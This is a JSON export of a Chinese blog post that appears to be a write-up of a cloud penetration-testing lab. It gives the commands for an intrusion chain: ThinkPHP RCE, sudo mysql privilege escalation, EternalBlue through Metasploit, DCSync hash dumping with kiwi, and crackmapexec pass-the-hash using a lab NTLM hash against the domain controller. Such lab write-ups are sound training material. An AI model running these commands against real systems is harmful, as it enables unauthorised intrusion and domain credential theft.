{"id":229,"date":"2023-05-15T11:39:39","date_gmt":"2023-05-15T03:39:39","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=229"},"modified":"2023-05-15T13:08:59","modified_gmt":"2023-05-15T05:08:59","slug":"%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%e9%9d%b6%e5%9c%ba%e8%ae%b0%e5%bd%95-initial","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/229","title":{"rendered":"\u6625\u79cb\u4e91\u5883\u9776\u573a\u8bb0\u5f55-Initial"},"content":{"rendered":"<blockquote>\n<p>\u597d\u8d35<\/p>\n<\/blockquote>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64617e290d2dde57774724ea.jpg\" alt=\"\" \/><\/p>\n<p>\u5148\u626b\u76ee\u5f55\uff0c\u53d1\u73b0\u4e00\u4e2arobots.txt\uff0c\u4f46\u662f\u91cc\u9762\u6ca1\u4ec0\u4e48\u4e1c\u897f<\/p>\n<p>\u518d\u626b\u7aef\u53e3<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64617def0d2dde577746f549.jpg\" alt=\"\" \/><\/p>\n<p>\u53ef\u4ee5\u53d1\u73b0\u626b\u51fa\u4e00\u4e2athinkphp5.0.23\u7684rce\uff0c\u5de5\u5177\u4e00\u952egetshell\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64617e8d0d2dde5777479a77.jpg\" alt=\"\" \/><\/p>\n<p>\u8681\u5251\u8fde\u63a5\u53d1\u73b0\u662fwww-data\u6743\u9650\uff0csudo -l\u53d1\u73b0\u53ef\u4ee5sudo\u514d\u5bc6\u4f7f\u7528mysql\u547d\u4ee4\uff0c\u5c31\u53ef\u4ee5\u53bbgtfobins\u4e0a\u627e\u4e00\u53e5\u8bdd\u63d0\u6743<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64617f8f0d2dde5777499901.jpg\" alt=\"\" \/><\/p>\n<p>\u62ff\u5230flag01<\/p>\n<p>\u8681\u5251\u4f20\u4e00\u4e2afscan\u4e0a\u53bb\u626b\u4e00\u4e0b\u5185\u7f51\uff0c\u7ed3\u679c\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>172.22.1.15:80 open\n172.22.1.15:22 open\n172.22.1.18:3306 open\n172.22.1.21:445 open\n172.22.1.18:445 open\n172.22.1.2:445 open\n172.22.1.21:139 open\n172.22.1.18:139 open\n172.22.1.2:139 open\n172.22.1.21:135 open\n172.22.1.18:135 open\n172.22.1.2:135 open\n172.22.1.18:80 open\n172.22.1.2:88 open\n[*] NetInfo:\n[*]172.22.1.21\n   [-&gt;]XIAORANG-WIN7\n   [-&gt;]172.22.1.21\n[*] NetInfo:\n[*]172.22.1.18\n   [-&gt;]XIAORANG-OA01\n   [-&gt;]172.22.1.18\n[*] NetInfo:\n[*]172.22.1.2\n   [-&gt;]DC01\n   [-&gt;]172.22.1.2\n[+] 172.22.1.21 MS17-010    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)\n[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)\n[*] WebTitle: http:\/\/172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin\n[*] NetBios: 172.22.1.2      [+]DC DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393 \n[*] NetBios: 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600 \n[*] NetBios: 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1 \n[*] WebTitle: http:\/\/172.22.1.18        code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/172.22.1.18?m=login\n[*] WebTitle: http:\/\/172.22.1.18?m=login code:200 len:4012   title:\u4fe1\u547c\u534f\u540c\u529e\u516c\u7cfb\u7edf\n[+] http:\/\/172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1<\/code><\/pre>\n<p>\u53ef\u4ee5\u53d1\u73b0172.22.1.21\u5b58\u5728ms17010\uff0c172.22.1.18\u662f\u4e00\u4e2a\u4fe1\u547c\u534f\u540c\u529e\u516c\u7cfb\u7edf\uff0c\u8fd9\u4f30\u8ba1\u5c31\u662f\u5269\u4e0b\u4e24\u90e8\u5206flag\u4e86<\/p>\n<p>frp+proxyfier\u505a\u4e2a\u5168\u5c40\u4ee3\u7406\u5148\uff0c\u76f4\u63a5\u8fde\u4e0a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64618a330d2dde57775812ad.jpg\" alt=\"\" \/><\/p>\n<p>\u7248\u672c\u662fv2.2.8\uff0c\u53ef\u4ee5\u641c\u5230\u6709\u4e2a\u540e\u53f0rce\u7684\u6d1e --&gt; <a href=\"https:\/\/blog.csdn.net\/solitudi\/article\/details\/118675321\">https:\/\/blog.csdn.net\/solitudi\/article\/details\/118675321<\/a> \uff0c\u5f31\u53e3\u4ee4admin:admin123\u5148\u767b\u5f55<\/p>\n<p>\u76f4\u63a5\u6284\u6284\u6539\u6539\u5927\u54e5\u7684exp\u53bbgetshell\uff0c\u8fd8\u662fsystem\u6743\u9650<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64618cd20d2dde57775c2728.jpg\" alt=\"\" \/><\/p>\n<p>flag\u5728C:\\Users\\Administrator\\flag<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64618d620d2dde57775d73f0.jpg\" alt=\"\" \/><\/p>\n<p>ms17010\u90a3\u53f0\u673a\u5668\u4e0d\u51fa\u7f51\uff0cproxychains4\u4ee3\u7406msf\u6253\u4e00\u624b\u6c38\u6052\u4e4b\u84dd<\/p>\n<pre class=\"prettyprint linenums\" ><code>p4 msfconsole\nuse exploit\/windows\/smb\/ms17_010_eternalblue\nset payload windows\/x64\/meterpreter\/bind_tcp_uuid\nset RHOSTS 172.22.1.21\nrun<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/6461924f0d2dde5777658541.jpg\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u662fDCSync\u653b\u51fb\uff0c\u4e0d\u662f\u5f88\u61c2\uff0c\u76f4\u63a5\u7167\u7740\u6253<\/p>\n<p>\u5148\u62ff\u57df\u5185\u7528\u6237\u7684hash\u503c<\/p>\n<pre class=\"prettyprint linenums\" ><code>#msf\u4e2d\nload kiwi\nkiwi_cmd &quot;lsadump::dcsync \/domain:xiaorang.lab \/all \/csv&quot; exit<\/code><\/pre>\n<p>\u518d\u7528crackmapexec\u8fdb\u884c\u54c8\u5e0c\u4f20\u9012<\/p>\n<pre class=\"prettyprint linenums\" ><code>p4 crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x &quot;whoami&quot;\np4 crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x &quot;type C:\\Users\\Administrator\\flag\\flag03.txt&quot;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/646193820d2dde5777670ef0.jpg\" alt=\"\" \/><\/p>\n<p>\u7ed3\u675f<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u597d\u8d35 \u5148\u626b\u76ee\u5f55\uff0c\u53d1\u73b0\u4e00\u4e2arobots.txt\uff0c\u4f46\u662f\u91cc\u9762\u6ca1\u4ec0\u4e48\u4e1c\u897f \u518d\u626b\u7aef\u53e3 \u53ef\u4ee5\u53d1\u73b0\u626b\u51fa\u4e00\u4e2athinkphp5.0.23\u7684rce\uff0c\u5de5\u5177\u4e00\u952egetshell\u6210\u529f \u8681\u5251\u8fde\u63a5\u53d1\u73b0\u662fwww-data\u6743\u9650\uff0csudo -l\u53d1\u73b0\u53ef\u4ee5sudo\u514d\u5bc6\u4f7f\u7528mysql\u547d\u4ee4\uff0c\u5c31\u53ef\u4ee5\u53bbgtfobins\u4e0a\u627e\u4e00\u53e5\u8bdd\u63d0\u6743 \u62ff\u5230flag01 \u8681\u5251\u4f20\u4e00\u4e2afscan\u4e0a\u53bb\u626b\u4e00\u4e0b\u5185\u7f51\uff0c\u7ed3\u679c\u5982\u4e0b 172.22.1.15:80 open 172 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,3],"tags":[],"class_list":["post-229","post","type-post","status-publish","format-standard","hentry","category-wp","category-learn"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=229"}],"version-history":[{"count":3,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/229\/revisions"}],"predecessor-version":[{"id":232,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/229\/revisions\/232"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}